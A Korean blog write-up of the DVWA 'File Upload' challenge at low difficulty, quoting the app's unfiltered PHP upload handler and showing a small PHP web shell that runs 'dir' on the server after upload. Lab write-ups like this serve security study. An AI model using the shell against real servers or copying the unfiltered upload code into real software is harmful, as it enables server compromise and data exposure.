[WARGAME] DVWA write-up/ File Upload/ low

jckim22·2022년 10월 19일
0

[WEBHACKING] STUDY (WARGAME)

목록 보기
21/114

File 취약점 역시도 저번에 드림핵 강의와 워게임을 풀면서 다루어 보았다.
그 때 배웠던 것을 참고하면 파일 업로드 취약점은 파일의 형식과 확장자 등의 대한 필터링이 없기 때문에 쉘 코드나 악성 스크립트 파일을 서버에 업로드 하여 서버를 공격할 수 있게 되는 취약점이다.

이번 문제에서는 나는 서버의 내부 파일들의 리스트를 훔쳐보는 정도로 끝나겠지만 이것이 더욱 악용된다면 큰 문제를 야기할 수 있다.

먼저 문제를 살펴보자
보아하니 파일을 선택하고 그냥 업로드 하는 것이다.

코드를 살펴보자

아래 코드를 보면 hackable/uploads/ 경로에 파일을 저장한다.
그리고 파일의 확장자에 대한 필터링은 없는 것으로 보인다.

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
	// Where are we going to be writing to?
	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

	// Can we move the file to the upload folder?
	if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
		// No
		$html .= '<pre>Your image was not uploaded.</pre>';
	}
	else {
		// Yes!
		$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
	}
}

?>

그렇다면 나는 hack.php라는 파일을 만들어서 서버의 쉘에게 직접 명령을 해보겠다.

아래는 hack.php이다.

간단하게 cd 명령로 로컬디스크 c로 간 후 그 안에 디렉토리들과 간단한 정보들을 보는 명령어인 dir을 실행하는 코드이다.
리눅스에서 ls가 윈도우에서는 dir이라고 보면 된다.

    <?php
        system("cd ../../../../../../../ && dir")
    ?>

이렇게 하고 hack.php를 업로드하면

이렇게 저 경로에 upload가 되었다는 알림이 뜬다.

그럼 저 경로에 있는 hack.php를 주소창에 쳐서 가보자.


그럼 이렇게 서버의 로컬디스크 리스트가 나온다.

브라우저와 원격 서버의 관계였다면 굉장히 private한 정보들이 나오는 것이다.
그리고 type명령어로 파일의 내용을 볼 수도 있다.
이외에도 여러 쉘 명령어를 사용하면 서버에게 큰 타격을 입힐 수 있다.

profile
개발/보안

0개의 댓글